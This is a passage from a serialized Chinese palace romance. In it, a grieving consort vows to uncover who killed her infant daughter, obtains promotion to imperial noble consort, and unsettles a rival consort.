他应该将她拉起来,搂进怀里的。 可他并没有。 他一动不动地站在那里,用冰冷的语调对她说:“这是你最后的机会,你如果放弃了,你就还是朕的妃嫔。 是朕的妃嫔,就得履行妃嫔的责任,敬事房会挂上你的牌子,你要随时准备侍寝,这样你也能接受吗?” 晚余愕然,脸色随之一变。 祁让不觉屏住呼吸,拳头攥得更紧。 令人窒息的沉默过后,晚余说:“我愿意。” 不就是侍寝吗? 她都已经这样了,还有什么好怕的。 无论如何,她一定要把藏在背后的那个人找出来。 她要看看那个人到底是谁,到底和她有什么深仇大恨,为了报复她,竟不惜对一个婴孩下手。 她虽身在沟渠,却从不曾用恶意对人,也不曾主动伤害谁。 既然这样都免不了被人伤害,那她也不要做什么好人了。 不就是杀人吗,只要有刀,谁不会? 她咬了咬牙,眼中是玉石俱焚的狠绝。 祁让低垂的长睫遮住眼底的惊诧,这一刻,他竟不知自己该做何反应。 仇恨真的可以改变一个人。 眼前这女人,分明还是从前的模样,却又和从前完全不同。 他不知道这种转变是好是坏,但他知道,从前的江晚余再也回不来了。 他定了定神,沉声道:“既然你如此坚持,又不相信朕的话,那你就自己去查吧,如果你能查到什么确凿的证据,证明梨月是被人所害,不管那个人是谁,你都可以亲手杀了她,但你休想朕会对你出手相助。” 晚余终于得到他一个明确的答复,强撑的精神瞬间土崩瓦解,软软跪坐在地上,没了半分力气。 “多谢皇上成全。”她有气无力地向他道谢,“臣妾不敢劳烦皇上相助,臣妾想见一见徐清盏,可以吗?” 祁让定定看她,短暂的沉默过后,幽幽道:“只是想见徐清盏,不想见沈长安吗?” 第335章 你再骗我一次好不好 晚余听到沈长安的名字,几乎没有半分犹豫,便摇头说了声“不想”。 “为什么?”祁让似乎不信,不罢休地追问。 晚余说:“他有家,有父母亲族,臣妾不想他为难,只有徐清盏和臣妾一样,生是一个人,死也是一个人。” 祁让心口一窒,有句话差点脱口而出,却又生生打住。 他想和她说,她不是一个人,她还有他。 可她都不要他,说出来有什么意思呢? 她根本不稀罕。 “好,朕知道了。”他漠然颔首,“你先回去吧,朕会让徐清盏去见你的。” “多谢皇上。”晚余向他道谢,撑着地想站起来,却没有一丝力气。 在她试了几次之后,祁让终于弯下腰,对她伸出了手。 晚余迟疑了一下,伸手握住。 他的手修长白皙,干燥有力,略微用力,就把她拉了起来。 然而,就在那一瞬间,晚余意外发现他手腕上竟然缠了一圈白布,白布上似乎还隐约渗着血色。 “皇上的手怎么了?” “没什么。”祁让立刻将手往回收。 晚余却死死抓住不肯松开,轻飘飘的身子被他带得一个趔趄。 祁让不敢再用力,另一只手扶了她一把,迅速拉起袖子,遮住了那一圈白布。 “怎么回事?”晚余问,“皇上怎么会受伤?” “与你无关。”祁让冷着脸道,“朕已经应允了你,你也不必再假装关心朕,去做你想做的事吧!” 晚余怔住,片刻后,点了点头:“既如此,皇上保重,臣妾告退。” 她松开了他的手,脚步虚浮地转身,缓慢而吃力地向外走去。 祁让盯着她摇摇欲坠的背影,冷漠的神情渐渐转变成难以言喻的痛楚,幽深凤眸蒙上一层水雾。 晚余却突然转回身,跌跌撞撞奔向他,如飞蛾扑火般扑进了他怀里。 “皇上,梨月是不是还没死,你为什么不让我见她最后一面,为什么那样仓促地把她送走,她还活着,但你不想让我见她是不是,是不是?” 祁让猝不及防被她扑了个满怀,连忙伸出双臂将她圈住。 片刻后,手臂用力收紧,将她密不透风地搂进怀里,像护住一个失而复得的宝贝。 “是不是,是不是?”晚余在他怀里痛哭出声,语无伦次,“你说话呀,你这么会骗人,你就当再骗我一回,告诉我她没死,她还活着,这一回我愿意相信你,只要你说,我就相信,你说呀……” 祁让被她哭得心碎,五脏六腑都绞着疼。 可他却给不了她想要的答案。 他搂着她,默不作声,任她发泄。 他想,如果当初不是他执意要这个孩子,他们现在是不是反倒可以融洽地相处。 刚刚她也说了,从南崖禅院回来后,她是想认命的。 如果没有怀上孩子,可能她就不会被激起逆反心理,也永远不会知道他给她喝过假的避子汤。 等过上一段时间,她慢慢接受了他,哪怕没有感情,至少也可以相安无事。 她就安静地待在后宫,时不时都被他翻一次牌子,说不准哪一次,孩子就自然而然地来了。 那样她也不会排斥,会顺顺利利把孩子生下来,安安心心地做一个母亲。 他白天忙朝政,晚上就去看她和孩子,或者留宿,或者不留宿,随心而定。 等孩子慢慢长大,她也会变得越来越平和,就算仍旧不爱他,他们之间也有一份不可割舍的亲情在维系。 那该多好…… 可惜世上没有如果,一步错,步步错。 他深呼吸,逼退眼中水雾,硬着心肠将她从怀里拉开:“不要胡思乱想了,回去好生养着,等你身子养好了,想干什么都行。” 晚余累到无力,眼泪无声爬满脸颊。 祁让忍着想帮她擦泪的冲动,向外喊道:“小福子,送贞妃回去。” 小福子应声而至,小心翼翼地扶住晚余:“娘娘,咱们走吧!” 晚余最后看了祁让一眼,抹掉眼泪,绝望地随小福子离开。 祁让一直望着门口,直到两人的身影彻底消失不见,到最后,连脚步声都听不见了,才缓缓呼出一口气,坐回到炕上。 “出来吧!”他平复了一下情绪,向屏风后面说道。 屏风后面一阵响动,徐清盏和沈长安从里面走了出来。 “你们看到了,也听到了,不是朕不让她走,朕也是没法子了。”祁让捏着眉心说道。 两人并肩而立,都在极力隐忍自己的痛苦。 徐清盏为着晚余那番话,忍到眼圈都泛起血红。 “让她去查吧!”祁让叹息道,“朕现在已经别无所求,只要她能好起来,把紫禁城拆了都没关系。” 沈长安和徐清盏都沉默着,没有说话。 “你们是不是在想,早知今日何必当初?”祁让自嘲一笑,“其实朕早该知道的,朕就适合一个人,除了这个皇位,朕什么都留不住。” “皇上别这么想。”沈长安搓了搓脸,沉痛开口,“事情走到这一步,我也有责任,是我当年年少轻狂,以为可以许她一个很好的未来,在她入宫后,仍不肯面对现实,不停地给她期望,如果我那时能狠下心,和她断了来往,可能一切会和现在不一样。” 祁让意外地看了他一眼,唇角勾出一抹苦笑:“如果重回那个时候,你还会那样做吗?” “会。”沈长安没有一丝犹豫,“那时的我们,在那个当下做出的决定,是我们最想做的,也是我们认为最正确的决定,因为我们谁都无法预测未来。” “你呢?”祁让又看向徐清盏。 徐清盏抿了抿唇,说:“我不后悔,我做的每一个决定都是想让她好,无论她理解还是不理解,无论别人理解还是不理解,我都问心无愧。” 祁让看着他,忽然很羡慕他。 果然心无杂念的人最坦荡。 他们三个,可能只有他,最配得上站在那人身边。 第336章 谢谢你 徐清盏是第二天上午去的承乾宫。 他去的时候,晚余已经用过早饭,正在暖阁里和贤贵妃说话。 贤贵妃听说皇上不愿帮晚余查找真相,立刻就把目标锁定在了庄妃和兰贵妃身上。 “皇上生性多疑,这么大的事他不可能一点都不怀疑,怀疑却不查证的唯一解释,就是他不想或者不敢轻易动那个人。 庄妃的娘家是京城第一世族,又是嘉华公主的生母。 兰贵妃的父兄是助皇上夺位的功臣,她父亲是兵部尚书,她兄长镇守西南,手握重兵,实力不压于沈长安。 宫里除了这两位,再没有谁能令皇上如此为难了。” 晚余和她猜想的差不多,便顺着她的话问道:“姐姐觉得这两人当中谁最有可能?” 贤贵妃思忖片刻道:“庄妃上回借嘉华的手给你下药,皇上已经警告过她,她等于在皇上跟前有了前科,应该不敢再轻举妄动。 况且她和嘉华去偏殿看梨月时,奶娘和玉竹玉琴都在,她根本没机会下手。 兰贵妃本就是睚眦必报的性子,你没把梨月托付给她,而她又不想让我抚养梨月来增加上位的筹码,对孩子下手合情合理。 就像当年对待端妃一样,她自己的儿子没了,就嫉妒和她一样生了儿子的端妃,怕端妃凭借二皇子爬到她头上去,她便对二皇子痛下杀手。 所以,我还是觉得她的嫌疑最大。” 晚余把她的话细细琢磨了一番,又问她:“你们都认定了端妃的孩子是被兰贵妃害死的吗?” “是啊!”贤贵妃点头,“当年的事,后宫所有人都认为是兰贵妃干的,可皇上查证之后非说不是兰贵妃。 现在,轮到咱们梨月,皇上居然连查都不查了。 可见在他心里,公主终究比不过皇子。” 贤贵妃说的时候没多想,说完见晚余神情黯然,忙又向她赔罪:“是我失言了,妹妹别往心里去,皇上对梨月其实很好的,当年的两位皇子也没有梨月受宠,梨月的满月宴,大家都说是按照太子的规格办的。” 晚余扯了扯唇:“规格再高有什么用,我说孩子太小压不住福气,让他不要太宠梨月,他偏不听,现在呢……” “娘娘,徐掌印来了。”紫苏从外面进来,打断了晚余的话。 贤贵妃一怔,立刻起身道:“那我先走了,等我查到别的线索,再来和你说。” “好,姐姐慢走。”晚余说,“我身上没力气,就不送你了。” 说罢吩咐紫苏送贤贵妃出去,顺便再请徐清盏进来。 紫苏应是,对贤贵妃伸手作请,片刻后,领着徐清盏走回来。 徐清盏在暖阁门口停下脚步,做了一个深呼吸。 以前他每次见晚余,总是迫不及待,一刻都不带迟疑的。 像今天这样,还是头一回。 紫苏疑惑地看了他一眼,伸手道了声“掌印请”。 晚余听到声音,就朝门口看过来。 两人的视线隔空相交。 徐清盏在那一瞬间,心脏突突快跳了好几下。 “清盏,你来了,进来说吧!”晚余缓声开口。 徐清盏的心跳又差点停止,有种猛然下沉的感觉。 他昨天才和祁让说自己问心无愧,真正面对晚余的时候,却还是忍不住心虚。 他吞下了口水,迈步走了进去。 晚余坐在窗下的暖炕上,衣着素净但不失华贵,发髻梳得一丝不苟,妆容也很雅致,整个人看起来端庄又得体,像一个真正的妃子。 徐清盏也不知道为什么,看到她的第一眼,竟会冒出这样一个念头,觉得现在的她像个真正的妃子了。 那个虽在妃位,却又对荣华富贵不屑一顾的江晚余,已经不见了。 可能以后再也见不到了。 “小鱼,你还好吗?”他站定在她面前,语气温和地问她,眼中是隐忍的怜惜。 那一声小鱼,让晚余有了一丝动容。 “我很好,你呢?”她指了指对面,示意他坐下,让紫苏给他上茶。 徐清盏也没推辞,隔着一张炕桌与她相对而坐:“我出了趟远门,昨天刚回京。” 晚余哦了一声,没有像他担心的那样哭泣,也没有问他去了哪里,而是开口直奔主题:“梨月的事你知道吗?” 徐清盏呼吸一滞,点了点头:“我知道,皇上已经和我说了,他叫我来见你,他说你不相信公主是病故,想查一查真相……” “你相信吗?”晚余打断他。 徐清盏迟疑了一下:“其实梨月出生那天,太医就说她先天不足,生产的过程又太长,可能不好养活……” “所以你也觉得她的死和别人没有关系吗?”晚余问。 “我不是这个意思。”徐清盏说,“我只是想告诉你,皇上并非一意孤行,不听你的劝告,非要给梨月她承受不住的福气。 皇上早知道会有那么一天,所以才尽可能地对梨月好,尽可能的多陪伴你们母女二人。 那天的满月宴,是他精心为你们准备的告别宴,他已经接受了他一个都留不住的结局,只是不想让分别来得太凄凉。 他把你装扮成皇后的样子,让梨月享受太子的礼遇,不过是给自己最后的慰藉。 他向你隐瞒孩子的事,也是想让你无牵无挂地离开,我们谁都没想到,你会为了孩子留下来。” 晚余呆坐着,半晌没有开口。 过了一会儿,才轻声道:“现在,连你都开始心疼他,共情他了吗,你和我说这些,是想让我也心疼他,谅解他吗?” “不是的小鱼,你没明白我的意思。”徐清盏急着向她解释,“我这么说,就是想让你了解皇上的动机,这样你心里能好受一点。” “孩子都没了,好受难受还有什么意义?”晚余说,“我留下来,也不全是为了孩子,我就是咽不下这口气,我就是想看看,到底是谁在和我过不去,我不能就这么轻飘飘的放过他。” “清盏,你最懂我的,你明白我心里的感受吗?” 她从头到尾保持的冷静,终于在叫出这一声清盏之后,有了一丝裂缝,手从炕桌上伸出去,像是要抓徐清盏的手。 徐清盏的心都跟着颤了一颤。 他伸出手,想要握住她的手,还没碰到,便又收回。 “小鱼,我懂,我明白,我知道你心中所想,你放心吧,这件事交给我,我一定会查个水落石出,给梨月讨回公道的。” “谢谢你,清盏。”晚余收回手,捂住自己的脸,闷闷的声音从指缝间传出,“谢谢你肯相信我,谢谢你还能让我相信。” 徐清盏心口一窒,欲言又止,眼底闪过一抹愧疚。 还好晚余捂着脸,并没有发现。 第337章 从前是从前,现在是现在 晚余平复了一下情绪,把自己所知道的情况向徐清盏详细说明,包括胡尽忠和贤贵妃告诉她的信息,也都和徐清盏说了一遍。 徐清盏认真听完,说自己会让人去查,那个失踪的侍卫和奶娘他也会想办法找到。 晚余让他另外再查查端妃和兰贵妃之间的纠葛,看看端妃的孩子到底是不是兰贵妃害死的。 徐清盏一一应下,也向她提出要求:“我可以帮你,但你要答应我一个条件。” “什么条件?”晚余见他神情严肃,不由得紧张起来。 徐清盏正色道:“从今天开始,你要好好吃饭,好好睡觉,不要胡思乱想,尽快把身体养好,每天至少要长一斤肉,能做到吗?” 晚余愣了下,鼻尖有些泛酸,笑着说:“你这是五个条件。” 这久违的笑容,如同冰天雪地里绽开了一朵惨淡的花。 徐清盏也跟着笑起来,弯起的眼睛闪动着水光:“你别管几个,你就说你做不做得到吧?” “做得到。”晚余乖巧点头,给他肯定的答复,“你放心,我能做到。” “那好,那我走了,明天再来看你。”徐清盏从炕上下来,整理衣衫。 晚余也跟着下来,要亲自送他出去。 徐清盏突然伸出双手,抓住晚余的双肩将她腾空提起掂了两下。 晚余吓一跳:“你干什么?” “称称你有多重。”徐清盏说,“明天我再来,你得长一斤。” 晚余瞪大眼睛:“这样哪里称得准?” “称得准,我的手就是秤。”徐清盏一本正经道。 晚余将信将疑,中午多吃了一碗饭,情绪也明显松快了不少。 紫苏很是欣慰,心说还是徐掌印可靠,他一来,娘娘立刻就有了倚仗,还会笑了。 可惜徐掌印是个残缺之人,倘若是个全乎人,嫁给他的人该是几辈子修来的福气。 晚上,胡尽忠从外面回来,听说徐清盏愿意帮忙,也很高兴,连夜到司礼监去见徐清盏,要把自己掌握的情况和他详细沟通。 徐清盏办事效率快,第二天就查到了那个奶娘的全部信息,果然和晚余猜的一样,那奶娘也有一个亲戚是和兰贵妃娘家有牵连的。 可兰贵妃娘家势力庞大,人际关系盘根错节,各种各样的亲戚数不胜数,单凭两个九曲十八弯的亲戚根本说明不了什么,便是去问她,她也不会承认。 除非把奶娘和侍卫找出来和她当面对质,但此事已经过去好几天,那两人还能不能活着都未可知。 徐清盏叫晚余不要着急,他会继续让人追查,活要见人,死要见尸。 晚余说:“我知道,有你在,我不着急,但你不要只查兰贵妃这一条线,庄妃那边也要留意。” 徐清盏说:“庄妃除了那天和嘉华公主去过一次偏殿,别的什么也没干,想查都无从下手。 况且她是嘉华公主的生母,没有皇上的命令,咱又不能对她严刑拷打,纵然盯她盯得再紧,她什么都不做,咱也没有办法。” 晚余想了想,说:“这事交给我,我有办法。” “你有什么办法?”徐清盏问。 晚余说:“我先不告诉你,事成了你就知道了。” 徐清盏便也没追问,叫她自己小心行事,注意安全,保险起见,把来喜留在这里听她使唤。 临要走,想到什么,能折返回来,抓住晚余的双肩掂了掂。 “很好,比昨天重了一斤。” “真的假的?”晚余不信,“你的手真有这么准吗?” “当然真的。”徐清盏说,“你若不信,明天我带杆秤来,当面称给你看。” 晚余想象了一下自己被勾着腰带称重量的画面,说:“那还是算了吧,我相信你。” 徐清盏笑着走了。 晚余等他走后,让紫苏给自己更衣梳妆,让紫苏和来喜陪同她去乾清宫见祁让。 还有几天就要过年,祁让停了早朝,每日就在东暖阁看看折子,见见官员,不要紧的政务都推到年后再处理。 听闻晚余求见,祁让意外之余,竟然有些紧张。 怔忡了好半天,才让小福子去带她过来。 小福子走后,祁让再也看不进去折子,握着笔半天没写一个字。 直到门外传来两个人的脚步声,他才恍然回神,发现朱砂把折子晕染了一大片。 “皇上,贞妃娘娘来了。”小福子在门口禀报。 祁让坐直了身子,清了清嗓子,简洁地说了一个字:“进。” 小福子请晚余进去,自己退到殿外。 晚余不疾不徐地走到祁让面前,福身行礼:“臣妾见过皇上,皇上万福金安。” 祁让不说话,静静看她。 两天不见,她似乎平和了许多,脸上略长了些肉,气色也比前天好了不少。 看来徐清盏又把她哄好了。 “平身吧!”祁让装作不在意地应了一句,又低头去看折子。 看到折子上那片红色墨迹,忙合起扔在一旁,又随手拿了一本打开,淡淡道:“何事求见?” 晚余道谢平身,也不拐弯抹角,直接问他:“臣妾听说,当年皇长子夭折,兰贵妃悲痛万分,皇上为了弥补她丧子之痛,给她晋了贵妃之位,是这样吗?” 这个问题问得出乎意料,祁让微微蹙眉道:“你问这个做什么?” 晚余说:“臣妾的孩子也夭折了,臣妾同样悲痛万分,皇上是不是也要给臣妾晋一晋位分,来弥补臣妾的丧子之痛?” 祁让翻奏折的手一顿,抬头目光灼灼看向她。 她明明还是她,却又那样的陌生。 她向来对他避之不及,恨之入骨,今日却主动跑来和他要位分。 “你从前不是说你不稀罕吗?”祁让挑眉,意味深长地问她。 “从前是从前,现在是现在。”晚余说,“我已经什么都没有了,向皇上要个虚名都不行吗? 还是说在皇上眼里,只有失去皇子才能享受这样的待遇,失去公主就无所谓了。” 她这般面无表情地说话,却让祁让心口一阵刺痛。 “你已经是妃位了,贵妃的位子也没有空缺……” “不是还有皇贵妃吗?”晚余说,“皇上如此爱重臣妾,为了臣妾冷落六宫,那个位子给臣妾不正合适吗?” 祁让:“……” 还以为她要皇后之位呢,没想到只是要当皇贵妃。 第338章 她到底有什么好 暖阁里陷入长久的沉默。 祁让不开口,晚余也不催促,就那么安静地等着他。 不知过了多久,火盆里的银丝炭“啪”的一声脆响,爆出一簇四下飞溅的火星子,也打破了两人之间无声的对峙。 祁让变换了一下坐姿,两条长腿垂在炕沿,正向面对晚余,轻掸袍角淡声道:“你胃口倒是大,怎么不干脆讨要皇后之位?” 晚余说:“臣妾无才无德,配不上中宫之位,只能做个最高位的宠妃,如此既能体现皇上对臣妾的偏爱,又不会引发朝堂动荡,可谓一举两得。” 一举两得? 祁让食指轻叩炕桌,将她上下打量。 太医说,她产后情志失常,心绪不稳,很容易钻牛角尖,将悲伤无限放大,也有可能会做出一些异常举动,严重时会出现自残,轻生,甚至伤害他人的行为。 所以,祁让拿不准她现在这个样子,是一时心血来潮,还是另有打算,就像拿不准她突然烧掉圣旨决定留下的行为,是受情绪影响还是深思熟虑一样。 用太医的话说,她现在就是个随时都会爆炸的炮仗,那个炮捻子就是她的情绪,不能见一点火星,最好的办法就是冷处理,让她随心所欲。 她说什么就是什么,她要什么就给她什么,她想做什么就让她做什么。 祁让沉吟片刻,试着和她商量:“皇贵妃册封礼的章程繁复,要礼部拟诏,钦天监择吉日,内务府制金册金印,尚仪局排演仪程等等,眼下还有几天就要过年,各处都放了假,连早朝都停了,你要不先等等,等过完年再说行吗?” 晚余说:“我等不了,我现在就要,皇上可以先下旨晓谕前朝后宫,册封礼等年后再办不迟。” “……”祁让轻蹙眉头,半真半假地斥她,“急什么,是你的跑不掉,等几天而已,难道朕还能幌你不成?” “那可说不准。”晚余说,“皇上在臣妾面前还有什么信誉可言,臣妾若不趁着您愧疚之情未消散之前把这事定下,只怕年后新人入宫,您就把这位子给别人了。” “……” 祁让噎得半天没有言语。 她现在真是光脚的不怕穿鞋的,什么话都敢往外说,连委婉一点都不会了。 宫里三年一大选,原本秋天就要选秀的,被自己以黄河水患为由取消了,朝臣们便提议说改到明年春天再选。 自己这里都还没有批准呢,她就已经想到要有新人入宫争宠了。 难怪太医说情志失常会胡思乱想,她想得可真够没边的。 可是怎么办呢,这是自己造的孽,只能自己受着。 “你来。”他无奈地冲晚余招手,示意她在自己对面坐下,“你来给朕研墨,朕就写圣旨给你。” 这要求不过分。 晚余便应了一声,在他对面坐下,拿起墨锭,往砚台里倒了些水,慢慢研磨。 祁让扬声叫小福子,让他去南书房取一卷空白圣旨过来。 等待的时间,两人也不说话,一个看折子,一个专心研墨。 祁让其实一个字都没看进去,眼睛在折子上,心却不知道跑去了哪里,耳边只听到墨锭与砚台摩擦时发出的沙沙声,还有对面那人轻浅的呼吸声。 他想,如果这只是一个普通的冬日就好了。 外面滴水成冰,屋内暖意融融,他们之间没有任何的不愉快,像寻常夫妻一样恩爱又默契,他写字,她研墨,就这般安静地度过一个下午,该是怎样的岁月静好。 可惜世间事总是十有八九不能如意,纵然他身为皇帝,也有他的意难平。 他偷瞄她,见她始终不抬头,就不再移开视线,一直盯着她看。 她到底有什么好呢? 后宫最不缺的就是有才华有美貌的女子,她也未见得是最好最出色的。 况且还那么犟,犟的让人牙根痒痒。 可他偏偏就喜欢她。 找谁说理去? 天下事,桩桩件件都能说出道理,唯独一个情字,没有道理可言。 遇上了,陷入了,算你倒霉。 大罗神仙都救不了。 正想着,晚余突然停下手里的活,抬头向他看过来。 祁让的目光来不及收回,猝不及防地和她撞在一起。 祁让尴尬地清了清嗓子。 晚余却没什么反应,看着他说道:“臣妾还有一个请求。” “什么?”祁让问。 晚余说:“臣妾不喜欢现在的封号,请皇上给臣妾另赐一个。” 祁让皱眉:“为什么?这个“贞”字不好吗?” “不好。”晚余说,“臣妾觉得这个字像是在讽刺臣妾。” 祁让愣住,半晌才道:“贞是坚贞不屈,玉洁松贞,朕觉得这个字最符合你的性情,并没有讽刺你的意思。” 晚余也愣住。 她一直以为祁让给她取这个字做封号,是在提醒她身为女人要守贞节,没想到还有别的意思。 “那我也不要。”她垂眸道,“臣妾配不上这个字。” 她是这样的软弱,这样的摇摆不定,她没有玉的高洁,也没有松的坚贞,她就是一个在命运的洪流里丢失了本心的女人,现在只想不择手段地报复所有害她的人。 祁让默然一刻,提笔蘸取她研好的墨,在纸上写了一个珍贵的珍:“这个可以吗?” 晚余心头一跳,抬眼看他,刚要说话,小福子捧着空白的圣旨走了进来:“皇帝,圣旨拿来了。” 祁让嗯了一声,把折子推到一旁,接过圣旨在桌上铺开,重新提笔蘸墨。 笔尖在砚台上滚来滚去,他最后问晚余:“你想好了吗?朕落了笔,就不能更改了。” 第339章 他们都回不去了 晚余当着小福子的面不好再去纠结封号的事,反正她要的是那个位子,叫什么都无所谓,于是便点头道:“多谢皇上,臣妾想好了。” 祁让看了她一眼,不再犹豫,悬腕挥毫,笔走龙蛇,一气呵成,写下了册立皇贵妃的圣旨。 奉天承运皇帝,诏曰: 贞妃江氏,璇闱毓秀,德容兼备,柔嘉淑慎,温恭明慧,朕心嘉悦,六宫式瞻。 今承太妃慈谕,俯顺舆情,特晋封皇贵妃之位,赐号为“珍”,授以金册宝印,位同副后,统领六宫。 惟愿尔永承天眷,长奉慈闱,与朕同心,共襄内治,白首偕老,丹青不渝。 布告天下,咸使闻知。 钦此! 他这边写完搁了笔,停下来缓气,小福子在一旁看得目瞪口呆。 册立皇贵妃这么大的事,皇上都不和其他人商量一下吗? 就算不问朝臣的意见,也该问问静安太妃的意见吧? 兰贵妃,贤贵妃,庄妃,端妃都还排着队呢,却叫贞妃娘娘插了队,这要是传出去,那几位和那几位的娘家会怎么想? 皇上真是太随心所欲了。 得亏是自己在跟前伺候,这要是换了师父,肯定又要苦苦相劝,请皇上三思了。 劝也没用,皇上在和贞妃娘娘有关的事情上,从来就没有三思过。 祁让在圣旨一角盖上皇帝宝印,待墨迹干透,卷起来递给小福子:“拿去寿康宫,请静安太妃加盖凤印,待明日众妃嫔去给静安太妃请安时,由孙良言当众宣读,晓谕六宫,册封之礼留待年后举行。” “奴才遵旨。”小福子双手接了圣旨,临行前,先向晚余道贺,“奴才恭喜娘娘荣升高位,愿娘娘凤体早日康复,与皇上共享盛世,白首偕老。” 白首偕老? 晚余和祁让的脸上竟是同时浮现一抹自嘲之色。 这个词写在圣旨上是为了好看好听,实际上,他们心里都明白,这是个永远不能实现的祝愿。 他们近在咫尺,却又隔山隔海,要怎样白首偕老? 小福子捧着圣旨退出,晚余起身,跪在地上向祁让叩首谢恩:“多谢皇上厚爱,臣妾感激不尽,吾皇万岁万岁万万岁。” 祁让低头看她疏离又客气的神情,眼神复杂难辨。 “起来吧!”他对她伸出手。 晚余迟疑了一下,正想着要不要自己站起来,突然发现他掩在袍袖下的手腕上,竟然还缠着白布。 她抓住他的手,借着他的力道站起来,却没有松开他的手:“皇帝伤得很严重吗,怎么还没好?” 祁让抽回手,拿袖子盖起来:“小伤,不妨事,朕还要看折子,你回去吧,明日一早去寿康宫听旨。” 他不愿说,晚余也没追问,福身告退出去。 到了殿门外,孙良言抱着拂尘靠墙站着,见晚余出来,忙躬身行礼:“娘娘要走了吗?” “嗯。”晚余点点头,本不欲和他多说,抬脚要走,又问了一句,“皇帝的手是怎么伤的?” 孙良言脸色一变,随即道:“就是不小心划伤的,娘娘不必担心。” 晚余意味不明地笑了下:“是不是我以后在乾清宫再也听不到真话了?” 孙良言微怔,不觉红了眼眶:“娘娘慢走,恕奴才不远送了。” 晚余深深看了他两眼,沿着廊庑向东而去。 孙良言望着她的背影,心中一阵萧瑟。 渐行渐远渐无声。 他们所有人都回不去了。 晚余出了日精门,在紫苏和来喜的陪同下慢慢往回走。 半道上,意外遇见了庄妃和嘉华公主。 看到晚余迎面走来,庄妃明显吃了一惊,想躲闪已经来不及,只得牵着嘉华公主的手迎上去,硬着头皮和她见礼:“妹妹这是从哪儿来?” 晚余回了礼,说:“刚从乾清宫出来,正打算回去,姐姐要去哪里?” 不等庄妃说话,嘉华公主摇晃着她的手喊了出来:“贞娘娘,母妃要带我去和父皇玩。” 庄妃顿时尴尬不已,笑容僵硬地解释道:“皇上心情不好,我想着让嘉华去陪他说说话,妹妹你不要误会。” 晚余说:“姐姐为皇上着想,是身为后宫妃嫔的职责,我有什么好误会的?” 庄妃讪讪地说不出话。 嘉华公主又去拉晚余的手,眨巴着眼睛,一脸无辜地问她:“贞娘娘,妹妹去哪了,我想和妹妹玩。” 晚余身子一晃,心口像被人狠狠捅了一刀,痛得脸色都变了。 紫苏连忙伸手扶住她:“娘娘,您没事吧?” 庄妃的神色更加尴尬,连声向晚余道歉:“妹妹千万别生气,嘉华她什么都不知道,我们谁都没和她说过这事儿……” 嘉华公主不知道自己闯了什么祸,紧张地看着几个大人。 “无妨。”晚余挣开紫苏的手,弯下腰,蹲在嘉华公主面前,伸手捏了捏她的小脸,“妹妹出远门去了,要好久才回来,贞娘娘很想念她,嘉华去贞娘娘那里住几天,陪陪贞娘娘好不好?” “好……” 嘉华公主刚要点头答应,庄妃一把捂住她的嘴,把她迅速抱起来递给了一旁的婢女。 “妹妹,嘉华还小,什么都不懂,去你那里怕是要吵得你不得安生……” “没事,我不怕吵。”晚余说,“我现在就想听听小孩子的哭声。” 庄妃愕然看着她,脸色难看到了极点,摆手示意婢女抱着嘉华走远些,对晚余小声道: “妹妹,梨月的事跟我们没有关系,那天我是带着嘉华去偏殿和梨月玩了一会儿,但玉竹玉琴和奶娘全程都在,防我们跟防贼似的。 我们根本就没碰触到梨月,就站在边上看她吃奶,后来她睡着了,我们就走了,我们真的什么都没做。” 她生怕晚余不信,急切地拉住晚余的手,声音都变了,“妹妹,你一定要相信我,嘉华和梨月都是公主,我没必要动她。” 晚余扯了扯唇,神情冷漠:“我也没说什么呀,姐姐怎么急成这样?” 庄妃都快哭了:“妹妹,求求你了,你不要动嘉华好吗,她什么都不知道,我可以拿我魏氏全族的性命发誓,我们真的什么都没做过。” 晚余没说信,也没说不信,抽出手拍了拍她的肩:“姐姐不是要带嘉华去看皇上吗,就别在我这浪费时间了,我出来久了,也有些乏了,有什么话咱们明天再说。” 明天? 庄妃还没弄明白她说的明天是真的明天,还是改天,她已经扶着紫苏的手走了。 路过嘉华身边,还伸手揉了揉嘉华的小脑袋:“嘉华乖,贞娘娘先走了,明天接你到贞娘娘那里玩好不好?” “好,贞娘娘再见。”嘉华挥着小手和她道别。 庄妃吓得腿都软了,感觉现在的贞妃,像个不动声色的恶魔,真的很怕她突然发疯,对着嘉华捅一刀。 她为什么一直强调要接嘉华去她那里玩? 难道她的孩子没了,就想把她的孩子抢走吗? 她凭什么呀? 大家都是妃位,她娘家还因谋逆之罪被抄家了,有什么资格抢她的孩子? 就算她求到皇上那里,皇上也不会答应她如此荒唐的要求。 不对,她说她刚从乾清宫出来,她不会已经和皇上说过了吧? 庄妃整个人都不好了,带着孩子匆匆忙忙去了乾清宫,求祁让不要答应晚余的无礼要求。 祁让起初没听懂,好不容易弄明白之后,看着嘉华公主陷入了沉思。 庄妃见他不说话,吓得魂儿都飞了:“皇上,臣妾是一宫主位,臣妾有资格也有能力自己教养孩子,您不能因为偏宠贞妃,就坏了规矩呀!” 祁让不置可否,把嘉华公主抱坐在自己腿上:“急什么,她不是说了有什么话明天再说吗,你且等等看她明天怎么说。” 庄妃无言以对,回到永和宫,一整晚都睡不安稳。 次日一早,各宫妃嫔得到皇上的口谕,让她们都去寿康宫给静安太妃请安,非病重不得缺席。 众人都在心里犯嘀咕,感觉像是有什么大事要发生。 到了寿康宫,给静安太妃请了安,刚坐下没一会儿,就听到外面有人喊皇上驾到,皇贵妃驾到。 皇贵妃? 哪来的皇贵妃? 众人面面相觑,来不及做出反应,就看到祁让和盛装打扮的晚余并肩走了进来。 第340章 除了她还有谁 大殿中有片刻的安静,众妃嫔心里却炸开了锅。 她们隐隐约约好像明白了什么,但又抱着一丝侥幸,觉得这不可能。 江晚余怎么可能是皇贵妃呢? 她一个外室之女,什么功劳都没有,就给皇上生了个女儿还没养活,她娘家还被抄家灭门了。 这样的人,有什么资格当皇贵妃? 皇上怎么可能封她为皇贵妃? 皇上就算要晋她位分,也该从两位贵妃当中册封一个皇贵妃,让她去补贵妃的缺,怎么可能给她越级晋封? 这样的话,让两个有家世有背景有资历的贵妃娘娘情何以堪? 可是,两位贵妃都好好的坐着呢,外面却在喊皇贵妃驾到。 除了江晚余,还能有谁? 大伙心里都跟吃了苍蝇似的,吐不出来,又咽不下去,卡在嗓子眼别提有多难受。 眼瞅着两人到了近前,纷纷起身给祁让见礼,又都默契地忽略了晚余。 不到最后一刻,她们谁都不想承认这个事实。 祁让免了众人的礼,和晚余一起给静安太妃行礼问安。 静安太妃因着小公主的离世难过了好些天,人也消瘦了不少,昨天才勉强能下床活动。 此时见到晚余,不免又悲从中来,拉着她的手拍了又拍,那句劝她节哀的话怎么也说不出口。 孩子没了,一个母亲要如何节哀呢? 